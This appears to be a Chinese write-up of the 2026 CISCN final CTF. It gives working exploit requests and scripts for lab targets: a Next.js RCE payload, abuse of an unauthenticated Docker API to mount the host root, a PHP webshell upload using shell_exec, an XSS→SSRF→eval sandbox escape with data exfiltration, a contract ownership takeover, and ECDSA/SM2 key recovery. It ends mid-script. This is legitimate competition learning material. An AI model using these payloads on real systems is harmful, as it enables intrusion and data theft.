文章封面:2026 ciscn final wp

2026 ciscn final wp

2026 ciscn final wp

第一天

渗透

信息收集

1
2
3
4
5
6
7
8
start infoscan
192.168.18.3:8080 open
192.168.18.3:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://192.168.18.3       code:307 len:5      title:None 跳转url: http://192.168.18.3/apps
[*] WebTitle http://192.168.18.3:8080  code:200 len:13519  title:区块链
[*] WebTitle http://192.168.18.3/apps  code:200 len:45492  title:None

看到apps和dify ai,想到cve-2025-55182

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
POST /apps HTTP/1.1
Host: 192.168.18.3
Next-Action: x
X-Nextjs-Request-Id: b5dce965
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
sec-fetch-mode: navigate
cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1757815655
accept-encoding: gzip, deflate, br, zstd
sec-fetch-dest: document
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
te: trailers
sec-fetch-site: none
sec-fetch-user: ?1
priority: u=0, i
accept-language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

flag{11111103b2ce49e4a541068d49111111}

反弹shell,这里用本机nc监听,平台会给一个网关和你vpn对应的端口进行反弹,用nc反弹

然后上去传fscan和stowaway起代理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/app/web $  ./fscan32 -h 172.18.0.5/24 -np

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
172.18.0.1:22 open     
172.18.0.1:80 open
172.18.0.2:80 open
172.18.0.1:443 open
172.18.0.7:5432 open  (postgres:15-alpine)
172.18.0.6:6379 open  (redis:6-alpine)
172.18.0.3:8080 open
172.18.0.1:8080 open
172.18.0.1:2375 open
172.18.0.5:3000 open  (langgenius/dify-web:1.10.0-flag)
172.18.0.8:3128 open  
172.18.0.3:8300 open  (semitechnologies/weaviate:1.27.0)
[*] alive ports len is: 12
start vulscan
[*] WebTitle http://172.18.0.8:3128    code:400 len:3212   title:ERROR: The requested URL could not be retrieved
[*] WebTitle http://172.18.0.3:8080    code:301 len:111    title:None 璺宠浆url: http://172.18.0.3:8080/v1
[*] WebTitle http://172.18.0.2         code:307 len:5      title:None 璺宠浆url: http://172.18.0.2/apps
[*] WebTitle http://172.18.0.1         code:307 len:5      title:None 璺宠浆url: http://172.18.0.1/apps
[*] WebTitle http://172.18.0.3:8080/v1 code:200 len:1383   title:None
[*] WebTitle http://172.18.0.1:2375    code:404 len:29     title:None
[*] WebTitle http://172.18.0.1:8080    code:200 len:13519  title:鍖哄潡閾?
[*] WebTitle http://172.18.0.5:3000    code:307 len:5      title:None 璺宠浆url: http://172.18.0.5:3000/apps

[*] WebTitle http://172.18.0.5:3000/apps code:200 len:45492  title:None
[*] WebTitle http://172.18.0.1/apps    code:200 len:45492  title:None
[*] WebTitle http://172.18.0.2/apps    code:200 len:45492  title:None
[+] PocScan http://172.18.0.1:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://172.18.0.1:2375 poc-yaml-go-pprof-leak
[+] PocScan http://172.18.0.3:8080/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

扫到docker未授权,挂载宿主机rce写ssh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ proxychains4 -q docker -H tcp://172.18.0.1:2375 images
                                                                i Info →   U  In Use
IMAGE                                ID             DISK USAGE   CONTENT SIZE   EXTRA
langgenius/dify-api:1.10.0           61ec4eedffff       3.33GB          774MB    U   
langgenius/dify-plugin-daemon:0.4.1-local
                                     cc0ff3c59d51       2.13GB          554MB    U   
langgenius/dify-sandbox:0.2.12       4e65e8a351a2        825MB          189MB    U   
langgenius/dify-web:1.10.0           ad20580cb418        829MB          184MB        
langgenius/dify-web:1.10.0-flag      9b95dcd61966        829MB          184MB    U   
nginx:latest                         ec4ed8b5299e        241MB           66MB    U   
postgres:15-alpine                   cd17e2ac9824        417MB          116MB    U   
redis:6-alpine                       c9ab371a96b0       41.8MB         11.9MB    U   
semitechnologies/weaviate:1.27.0     53fa576934f8        234MB         70.8MB    U   
ubuntu/squid:latest                  6a097f68bae7        303MB         70.3MB    U   


❯ proxychains4 -q docker -H tcp://172.18.0.1:2375 run --privileged=true -it -v /:/tmp
 nginx /bin/sh

# ls
bin   docker-entrypoint.d   home   media  proc	sbin  tmp
boot  docker-entrypoint.sh  lib    mnt	 root	srv   usr
dev   etc		   lib64  opt	 run	sys   var
# ls /tmp
afs  boot  etc	home  lib64  meta.js  opt   root  sbin  sys  usr
bin  dev   flag  lib   media  mnt      proc  run   srv	tmp  var
# cat /tmp/flag
flag{333333b8548dabf9bbc55166ca333333}

连上ssh之后每个容器进去看看,横向到postgres

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
postgres=# \l
                                                 List of databases
    Name     |  Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |   Access privileges
-------------+----------+----------+------------+------------+------------+-----------------+-----------------------
 dify        | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 dify_plugin | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 flag        | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 postgres    | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 template0   | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
             |          |          |            |            |            |                 | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
             |          |          |            |            |            |                 | postgres=CTc/postgres
(6 rows)
postgres=# \c flag
You are now connected to database "flag" as user "postgres".
flag=# \d
        List of relations
 Schema | Name | Type  |  Owner
--------+------+-------+----------
 public | flag | table | postgres
(1 row)

flag=# \d flag
              Table "public.flag"
 Column | Type | Collation | Nullable | Default
--------+------+-----------+----------+---------
 flag   | text |           | not null |
Indexes:
    "flag_pkey" PRIMARY KEY, btree (flag)

flag=# SELECT * FROM flag;
                  flag
----------------------------------------
 flag{222222683722cb4f1534afd9bc222222}
(1 row)

区块链只做了最简单的

执行过程(3 笔交易,均成功):

  1. changeOwner(0x5904…7b0c) — 把 owner 从部署者 0xebf5…cc9b61 改成你自己(该函
    数漏写了权限检查,这是核心漏洞)
  2. openDoor() — 现在你是 owner,passed[msg.sender] = true
  3. claimFlag() — 验证 passed 为 true,返回 flag 并标记已解决

注意:前两轮 openDoor 失败(status 0x0)是因为我手工写了错误的函数选择器(0xdb0e127a 不是 openDoor()),最后用 cast sig 计算正确选择器后一次通过。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ cd /Users/mashiro/Downloads/CISCN2026Final/PTC && python3 - <<'EOF'               
 import json,urllib.request,time,subprocess                                          
 RPC="http://192.168.18.3:8080/rpc/"                                                 
 ME="0x59045ba3f7a4aa0f25a5e02032ea064411f07b0c"                                     
 EASY="0x99ec67374c983edac3c58306b3f19b5d660d771f"                                   
 def rpc(m,p):                                                                       
                                                                                     
 req=urllib.request.Request(RPC,data=json.dumps({"jsonrpc":"2.0","id":1,"method":m," 
 params":p}).encode(),headers={"Content-Type":"application/json"})                   
     j=json.load(urllib.request.urlopen(req))                                        
     if "error" in j: raise RuntimeError(str(j["error"]))                            
     return j["result"]                                                              
 def sel(n):                                                                         
                                                                                     
 o=subprocess.run(["cast","sig",n],capture_output=True,text=True,timeout=15).stdout. 
 strip()                                                                             
     assert o.startswith("0x") and len(o)==10, n                                     
     return o                                                                        
 def call(to,data):                                                                  
     return rpc("eth_call",[{"from":ME,"to":to,"data":data},"latest"])               
 def send(to,data):                                                                  
     nonce=rpc("eth_getTransactionCount",[ME,"pending"])                             
     gp=rpc("eth_gasPrice",[]) or "0x3b9aca00"                                       
                                                                                     
 h=rpc("eth_sendTransaction",[{"from":ME,"to":to,"gas":"0x186a0","gasPrice":gp,"nonc 
 e":nonce,"data":data}])                                                             
     for _ in range(60):                                                             
         r=rpc("eth_getTransactionReceipt",[h])                                      
         if r: return r                                                              
         time.sleep(2)                                                               
     raise RuntimeError("no receipt")                                                
 def dstr(x):                                                                        
     b=bytes.fromhex(x[2:]); off=int.from_bytes(b[:32],"big");                       
 ln=int.from_bytes(b[off:off+32],"big")                                              
     return b[off+32:off+32+ln].decode()                                             
 so=sel("changeOwner(address)"); sp=sel("openDoor()"); sc=sel("claimFlag()");        
 sg=sel("getFlagAfterSolved()")                                                      
 r1=send(EASY,so+ME[2:].rjust(64,"0")); print("changeOwner:",r1["status"])           
 print("owner now:",call(EASY,"0x8da5cb5b"))                                         
 r2=send(EASY,sp); print("openDoor:",r2["status"])                                   
 r3=send(EASY,sc); print("claimFlag:",r3["status"])                                  
 print("FLAG:",dstr(call(EASY,sg)))                                                  
 EOF                                                                                 
                                                                                     
 changeOwner: 0x1                                                                    
 owner now: 0x00000000000000000000000059045ba3f7a4aa0f25a5e02032ea064411f07b0c       
 openDoor: 0x1                                                                       
 claimFlag: 0x1                                                                      
 FLAG: flag{555555d138832fc5818c7ff43d555555} 

flag{555555d138832fc5818c7ff43d555555}

ctf

cry1

本地ai出两道密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import json
import hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding

def solve():
    with open('chall.json', 'r') as f:
        data = json.load(f)

    n = int(data['curve']['n'], 16)
    a = int(data['nonce_relation']['a'], 16)
    b = int(data['nonce_relation']['b'], 16)

    # Use consecutive signatures (k[i+1] = a*k[i] + b applies to adjacent nonces)
    s0 = data['signatures'][0]
    s1 = data['signatures'][1]

    h1, r1, s_1 = int(s0['h'], 16), int(s0['r'], 16), int(s0['s'], 16)
    h2, r2, s_2 = int(s1['h'], 16), int(s1['r'], 16), int(s1['s'], 16)

    # Closed-form private key recovery (Paper Eq. 15)
    numerator   = (a * s_2 * h1 - h2 * s_1 + b * s_1 * s_2) % n
    denominator = (r2 * s_1 - a * r1 * s_2) % n

    priv = (pow(denominator, -1, n) * numerator) % n
    print(f"[+] Recovered private key: {hex(priv)}")

    # Derive AES-256 key exactly as verify.py does
    aes_key = hashlib.sha256(priv.to_bytes(32, 'big')).digest()

    # Decrypt the flag
    iv  = bytes.fromhex(data['cipher']['iv'])
    ct  = bytes.fromhex(data['cipher']['ciphertext'])

    decryptor = Cipher(algorithms.AES(aes_key), modes.CBC(iv)).decryptor()
    padded = decryptor.update(ct) + decryptor.finalize()
    unpadder = padding.PKCS7(128).unpadder()
    flag = unpadder.update(padded) + unpadder.finalize()

    print(f"[+] Flag: {flag.decode()}")
    return flag.decode()

if __name__ == '__main__':
    solve()
    

This is a straightforward application of the attack described in the paper. The challenge gives you two affinely related nonces (k₂ = a·k₁ + b mod n) and the corresponding ECDSA signatures. Using the closed-form derivation from Equation 15 in the paper, you can recover the private key directly with modular arithmetic.

LostZA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import sys
from gmcrypto import (
    G, N, calc_za, int_to_bytes, sm3_hash, point_add, scalar_mult,
    mod_inv, lift_x, is_on_curve, point_neg, point_to_bytes, 
    sm4_cbc_decrypt, pkcs7_unpad
)

# 1. Parse challenge output
ID = bytes.fromhex("4e4154494f4e414c43544632303236")
za_pub_x = int.from_bytes(bytes.fromhex("cde2f38bf082810e398567a1732f7d34c84356749154909b862deb1348ea3159"), "big")
za_pub_y = int.from_bytes(bytes.fromhex("23dca5efa1e57c31474a9dd341bda6728061fa0c6156c3cf720fab2f97f20e04"), "big")
za_public = (za_pub_x, za_pub_y)

M1 = bytes.fromhex("4c6f73745a41207369676e61747572652073616d706c65203031")
R1 = int.from_bytes(bytes.fromhex("eece65cf960e8ed506df07b96b4f617ef4bb7279b884bcfdd5a431e8a6d9ca9f"), "big")
S1 = int.from_bytes(bytes.fromhex("37d18143c4bebe73525a7f4e9b355789b709eb3e9cab3fccd3ce656b7fb3f660"), "big")

M2 = bytes.fromhex("4c6f73745a41207369676e61747572652073616d706c65203032")
R2 = int.from_bytes(bytes.fromhex("178cb031abfd690f00cb96c0b387acf97cea368731620d937c044e55a148833f"), "big")
S2 = int.from_bytes(bytes.fromhex("f4b662742fccaa635d80f7abb29054b4ccdd478d184e4b256f2905f632b2fc61"), "big")

IV = bytes.fromhex("dc62319770ad10e3dafcbed80f797354")
CIPHERTEXT = bytes.fromhex("a058fd8435edcc5c92905cb55d0a3f51135cc87996f475de2365f13bb7b880020697a916d5de0457c307e4d5cfb73e49")


# 2. Compute ZA and message digests
za = calc_za(ID, za_public)
e1 = int.from_bytes(sm3_hash(za + M1), "big")
e2 = int.from_bytes(sm3_hash(za + M2), "big")

t1 = (R1 + S1) % N
t2 = (R2 + S2) % N

# 3. Recover signing_public key
x_target = (R1 - e1) % N
candidates = lift_x(x_target)

signing_public = None
for T1 in candidates:
    # T1 = s1*G + t1*K  =>  K = t1^-1 * (T1 - s1*G)
    temp = point_add(T1, point_neg(scalar_mult(S1, G)))
    sp = scalar_mult(mod_inv(t1, N), temp)
    
    if not is_on_curve(sp):
        continue
        
    # Verify with second signature to disambiguate y-coordinate
    check = point_add(scalar_mult(S2, G), scalar_mult(t2, sp))
    if check is None:
        continue
    if (e2 + check[0]) % N == R2:
        signing_public = sp
        break

if signing_public is None:
    print("❌ Failed to recover signing public key")
    sys.exit(1)

print(f"✅ Recovered signing_public: {int_to_bytes(signing_public[0]).hex()}")

# 4. Derive SM4 key
key_material = b"LostZA/key/v1" + point_to_bytes(signing_public)
key = sm3_hash(key_material)[:16]

# 5. Decrypt flag
padded_plaintext = sm4_cbc_decrypt(key, IV, CIPHERTEXT)
flag = pkcs7_unpad(padded_plaintext)

print(f"🚩 FLAG: {flag.decode()}")

This challenge contains a critical signature malleability / nonce-leak vulnerability in the non-standard SM2 implementation. Here’s how to exploit it and recover the flag:

The custom sm2_sign_digest computes:

1
2
3
r = (e + kG.x) % N
s = (k - r*d) / (1 + d)   # where k=nonce, d=private_key
From the s equation we can derive: k = s + d*(r+s). Let t = r+s, then k = s + t*d.

The verification function checks:

1
2
3
4
check_point = s*G + t*K   # K = public key
(e + check_point.x) % N == r  =>  check_point.x = (r - e) % N
So s*G + t*K is a point whose x-coordinate we directly know from the signature! This gives us:
t*K = (point_with_x=(r-e)%N) - s*G

With two signatures, we can compute K = signing_public by trying both possible y-coordinates for the target x, then verifying against the second signature. Once we have signing_public, we can derive the SM4 encryption key and decrypt the flag.

✅ Recovered signing_public: 2d6d32007d94971fa55be37edbf0bb6639cc50b73d104bca403a83a1b4758069 🚩 FLAG: flag{7f0f6b5e-5b2a-4d85-9d73-3b3d1fb7158c}

第二天

不记录ctf了,就没写多少题,而且sb比赛一堆人作弊没法打

awdp

这里可能check机子坏了,我们的pwn和web死活修不上,问了别队的师傅都说很简单,而且思路都一样但是就是修不上,天要完nisa(

tp8

tp8_lang_probe-web01

审计结论(web1 · ThinkPHP 8 “ContentHub”)

漏洞点 1:任意文件包含 → 任意代码执行 / 源码泄漏 【高危,核心洞】

  • 位置:vendor/topthink/framework/src/think/Lang.php → switchLangSet() 中新增的 @ 兼容分支

    1
    2
    3
    4
    5
    
      if (str_starts_with($langset, '@')) {                                                                                                                                  
          $local = ltrim(substr($langset, 1), '/\\');                                                                                                                        
          $file  = $this->app->getRootPath() . $local;                                                                                                                       
          if (is_file($file)) { include $file; }                                                                                                                             
      }                                                                                                                                                                      
    
  • 触发链:

    1. config/lang.php:detect_var => ’locale’、allow_lang_list => [](空 = 不校验任何语言)、auto_detect_browser => true
    2. LoadLangPack::detect() 的 preg 允许 @ . / - _ 等字符,且 allow_lang_list 为空时任意值直接 setLangSet
    3. defaultLangSet() != $langset → switchLangSet() 进入 @ 分支
  • 利用(URL 传参即可,?locale= / x-locale 头 / ops_locale Cookie 均可):

    • 源码/文件内容泄漏:GET /?locale=@../../../../etc/passwd(ltrim 只剥前导 /,.. 可越过 rootPath,include 直接输出文件内
      容) /?locale=@…/…/…/…/flag 拿到flag

web3

ai复现

1
2
3
4
5
6
7
上传 .txt(PHP) ──> $_SESSION['snippets'] 记录绝对路径
preview.php tpl = {{ snippets|join('') }}
join(白名单过滤器) ──> implode ──> (string)$fragment ──> __toString()
include /var/www/uploads/xxx_payload.txt ──> PHP 代码执行 ──> shell_exec($_GET['c'])

然后脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# usage: python exp.py http://TARGET 'cat /flag'
import sys, requests

BASE = sys.argv[1].rstrip('/')
CMD  = sys.argv[2] if len(sys.argv) > 2 else 'cat /flag'

PAYLOAD = '<?php echo shell_exec($_GET["c"] ?? "id"); ?>'
TPL = "{{ snippets|join('') }}"

s = requests.Session()

# ① 上传 PHP 木马(.txt,≤50KB)
r = s.post(f'{BASE}/upload.php', files={
    'file': ('payload.txt', PAYLOAD, 'text/plain'),
}, data={
    'snippet_name': 'x',
    'snippet_category': 'c',
    'scenario': 's',
    'remark': 'r',
})
assert r.status_code in (302, 200) and r.headers.get('Location', '').endswith('ok=1'), \
    f'upload failed: {r.status_code} {r.text[:200]}'
print('[+] uploaded')

# ② join 逃逸沙箱触发 include
r = s.get(f'{BASE}/preview.php', params={'c': CMD}, data={
    'tpl': TPL,
    'subject': 't', 'category': 'c', 'audience': 'a', 'severity': 'P2',
    'planned_window': 'w', 'operator_name': 'o', 'operator_email': 'e@x', 'summary': 's',
})
assert r.status_code == 200, f'preview failed: {r.status_code}'
print('[+] executed, output below:\n')
# 命令输出在 render-stage 区域(Twig 已 HTML 转义,flag 无特殊字符可直接读)
import re
m = re.search(r'<section class="render-stage preview-render-stage">\s*(.*?)\s*</section>', r.text, re.S)
print((m.group(1) if m else r.text).strip())

ctf

依旧ai复现一下web

Archive Hub

三个漏洞串联:XSS 进管理员浏览器 → SSRF 打内网模板引擎 → 模板沙箱逃逸 RCE 读 flag。

2. 漏洞 1:存储型 XSS(弱 HTML 清洗器)

render_markdown(L204)对以 < 开头的行调用 weak_sanitize_raw_html(L188):

1
2
3
4
5
6
def weak_sanitize_raw_html(raw: str) -> str:
    raw = re.sub(r"(?is)<\s*script\b.*?<\s*/\s*script\s*>", "", raw)
    raw = re.sub(r"(?is)<\s*/?\s*script\b[^>]*>", "", raw)
    raw = re.sub(r"(?i)\s+on[a-z0-9_:-]+\s*=\s*(\"[^\"]*\"|'[^']*')", "", raw)
    raw = re.sub(r"(?i)javascript\s*:", "", raw)
    return raw

事件属性清洗正则 \s+on[...]+\s*=\s*("..."|'...') 有两个缺陷:

  1. 要求 on 前有空白<svg/onload="...">/on 前,正则不匹配, 且 HTML 规范中 / 后跟属性名是合法的(self-closing start tag state 回退到 before attribute name state),浏览器会正常执行 onload
  2. 只剥带引号的值。即便写 <img src=x onerror=alert(1)>,也绕不过第一条; 反过来,若用不带引号的 onerror=fetch('...')HTML5 规定无引号属性值不得包含 单引号,浏览器会在第一个 ' 处截断属性导致 JS 语法错误、根本不执行 (本地容器实测:onerror 未触发、只留下 GET /admin/review/x 404 请求)。

因此最终向量(带引号、可含空格/单引号):

1
<svg/onload="fetch('/admin/fetch?url='+encodeURIComponent('http://127.1:9001/render?tpl=...')).then(...)">

实测:weak_sanitize_raw_html('<svg/onload="alert(1)">') 原样返回,<img onload="alert(1)"> 则被剥成 <img>

上传入口:/upload(L497)解析 zip,manifest.json 指定 main 为 Markdown 文件 (parse_archive L733),内容落库后在文档页和 /admin/review/{id} 页原样渲染。


3. 漏洞 2:SSRF /admin/fetch(回环黑名单可绕过)

admin_fetch(约 L670-700):

1
2
3
4
5
parsed = urllib.parse.urlparse(url)
host = (parsed.hostname or "").lower()
if parsed.scheme not in ("http", "https"): ...
if host in {"127.0.0.1", "localhost", "0.0.0.0", "::1"}:   # L687
    self.send_text("blocked: loopback host", 400)

黑名单只比对主机名字符串,不比对解析后的 IP。glibc 的 inet_aton 支持多种 127.0.0.1 的等价写法,urllib 连接时解析到 127.0.0.1 却不会被拦截:

写法解析结果是否在黑名单
127.1127.0.0.1
2130706433127.0.0.1
0177.0.0.1(八进制)127.0.0.1
0x7f000001(十六进制)127.0.0.1
[::ffff:127.0.0.1]127.0.0.1(IPv6 映射)

注意:127.0.0.2 这类"换最后一段"的写法不可靠——内部服务显式绑定 INTERNAL_HOST = "127.0.0.1"(L28),Linux 内核按目的地址精确匹配监听 socket, 到 127.0.0.2 的 SYN 会被拒绝(本机实测 WinError 10061 拒绝连接)。 127.1 解析结果就是精确的 127.0.0.1,绑定匹配,万无一失。 (Windows 本机 resolver 不认 127.1,只有 Linux/glibc 认;远端是 Linux。)

内网目标:http://127.1:9001/render?tpl={{...}},把模板注入打到内部渲染服务。


4. 漏洞 3:内部模板引擎 eval 沙箱逃逸 → RCE

InternalHandler.do_GET(L800 附近)直接以 tpl 参数调用 render_internal_template(L818):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def render_internal_template(template: str) -> str:
    if len(template) > 1000:
        return "template too long"
    def replace(match):
        expr = match.group(1).strip()
        lowered = expr.lower()
        blocked = ["_", "flag", "open", "import", "os", "subprocess",
                   "builtins", "globals", "eval", "exec"]            # L825
        if any(word in lowered for word in blocked):
            return "[blocked]"
        try:
            return str(eval(expr, {"__builtins__": {}},
                            {"cfg": ThemeConfig(), "h": TemplateHelper(),
                             "title": ThemeConfig.title}))
        except Exception as exc:
            return f"[error: {exc}]"
    return re.sub(r"\{\{(.*?)\}\}", replace, template, flags=re.S)

沙箱:__builtins__={}、可用对象只有 cfg/h/title,源码文本含 _/os/flag 等 即被拒。三个关键事实:

  1. TemplateHelper.c(L768)= "".join(chr(int(c)) for c in codes) —— 任意字符串构造器;
  2. TemplateHelper.a(L770)= getattr —— 任意属性访问器;
  3. h.a绑定方法h.a.__func__.__globals__ 就是 app.py 模块全局字典 (里面有 ossubprocessADMIN_BOT_TOKEN 等)。拿到 __func__/__globals__ 不需要在源码里写 _,用 h.c(95,95,102,...) 动态拼即可。

逃逸表达式(源码文本不含任何被禁子串):

1
2
3
4
# 取 app 模块 globals 里的 os
G = h.a(h.a(h.a,h.c(95,95,102,117,110,99,95,95)),h.c(95,95,103,108,111,98,97,108,115,95,95))[h.c(111,115)]
# 执行命令并读取输出
{{ h.a(G,h.c(112,111,112,101,110))(h.c(<命令字符的ASCII码,逗号分隔>)).read() }}

其中 95,95,102,117,110,99,95,95 = __func__95,95,103,108,111,98,97,108,115,95,95 = __globals__111,115 = os112,111,112,101,110 = popen。命令同样用 h.c(99,97,116,32,47,102,108,97,103,...) 逐字符拼(cat /flag /flag.txt 2>/dev/null;env), “flag” 只以数字形式出现,不触发黑名单。总长 274 字符 < 1000 上限。

附带发现(写 WP 顺手验证):ThemeConfig._load(L789-791) 无路径限制,任意文件读 4000 字节, 同样可经 h.a(cfg,h.c(95,108,111,97,100))(h.c(...路径...)) 调用;若 flag 是文件且 ≤4KB, 可省去 popen。cfg.public(L778) 有 normpath + realpath 限制,不可穿越。


5. 完整攻击链
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
attacker 注册
     上传“靶文档”(正常 md,作为回传 flag 的笔记落点)
     上传“恶意文档”:evil.md  <svg/onload="...">
     POST /documents/{evil}/report   L631: REPORT_QUEUE.put
   
bot_worker 出队  visit_as_admin (L850)
     chromium --headless 打开 http://127.0.0.1:8000/admin/review/{evil}?bot_token=...
     admin_review (L640) 校验 token  创建 admin 会话  Set-Cookie sid(admin)
   
页面渲染 evil.md  svg onload 触发(管理员源 127.0.0.1:8000
     fetch('/admin/fetch?url='+encodeURIComponent('http://127.1:9001/render?tpl={{...}}'))
           (同源,自动带 admin Cookie;直接跨源 fetch 会被 CORS 挡住,必须走 /admin/fetch
   
/admin/fetch: 黑名单放行 "127.1"  服务器端连 127.0.0.1:9001
   
/render?tpl={{...}}: eval 沙箱逃逸  os.popen('cat /flag /flag.txt 2>/dev/null;env').read()
   
响应正文 = flag + 环境变量
     .then(r=>r.text()).then(t=>fetch('/api/documents/{靶文档}/notes',
         {method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},
          body:'body='+encodeURIComponent('[XSS-EXFIL]'+t)}))
           write_note L711:admin 可给任意文档写笔记)
   
attacker 登录自己的账号  GET /documents/{靶文档}  笔记里读 flag

为什么不能直接偷 Cookie:会话 Cookie HttpOnly(L177),XSS 里 document.cookie 拿不到; 改用同源 fetch('/admin/fetch') 借管理员会话发请求,再让响应落到我们可读的笔记里。 外带也可换成 new Image().src='http://攻击者/?d='+encodeURIComponent(t),但笔记回传 零外部依赖,更适合 CTF。

脚本
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
"""
ArchiveHub -> remote flag exploit (CISCN final)

Chain:
  1. Stored XSS via <svg/onload="..."> (weak_sanitize_raw_html only strips
     handlers preceded by whitespace; "/" before "on" bypasses it, and a
     quoted value survives -- unlike unquoted onerror, which HTML5 cannot
     contain quotes in).
  2. Report the document -> admin bot (headless chromium) opens
     /admin/review/<id>?bot_token=... and receives an admin session cookie.
  3. XSS runs as admin on origin 127.0.0.1:8000:
       fetch('/admin/fetch?url='+encodeURIComponent('http://127.1:9001/render?tpl={{...}}'))
     /admin/fetch is an SSRF whose loopback blocklist only matches the exact
     strings 127.0.0.1/localhost/0.0.0.0/::1.  "127.1" is not blocked, and
     glibc resolves it to 127.0.0.1 -> internal template engine reached.
  4. The internal renderer evals {{...}} with a blocklist ("_", "flag", "os",
     "open", "import", ...).  Bypass: h.c(*codes) = chr-join, h.a(o,n) =
     getattr.  h.a(h.a,"__func__").__globals__ = app.py module globals
     (reached without writing "_" in source), grab os, os.popen(cmd).read().
  5. Exfil: XSS POSTs the response as a note to a document we own; we read
     the note as a normal user.

Usage:  python3 exploit.py <host> [port]   (defaults 127.0.0.1 8000)
"""
import http.client
import io
import json
import re
import sys
import time
import urllib.parse
import zipfile

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8000
BASE = f"http://{HOST}:{PORT}"


def req(method, path, body=None, headers=None, cookie=None):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=20)
    h = dict(headers or {})
    if cookie:
        h["Cookie"] = cookie
    conn.request(method, path, body=body, headers=h)
    r = conn.getresponse()
    data = r.read()
    hdrs = dict(r.getheaders())
    conn.close()
    return r.status, data, hdrs


def upload_zip(sid, files, title=""):
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w") as z:
        for name, content in files.items():
            z.writestr(name, content)
    zdata = buf.getvalue()
    boundary = "----AHBOUNDARY42"
    parts = [
        f'--{boundary}\r\nContent-Disposition: form-data; name="title"\r\n\r\n{title}\r\n',
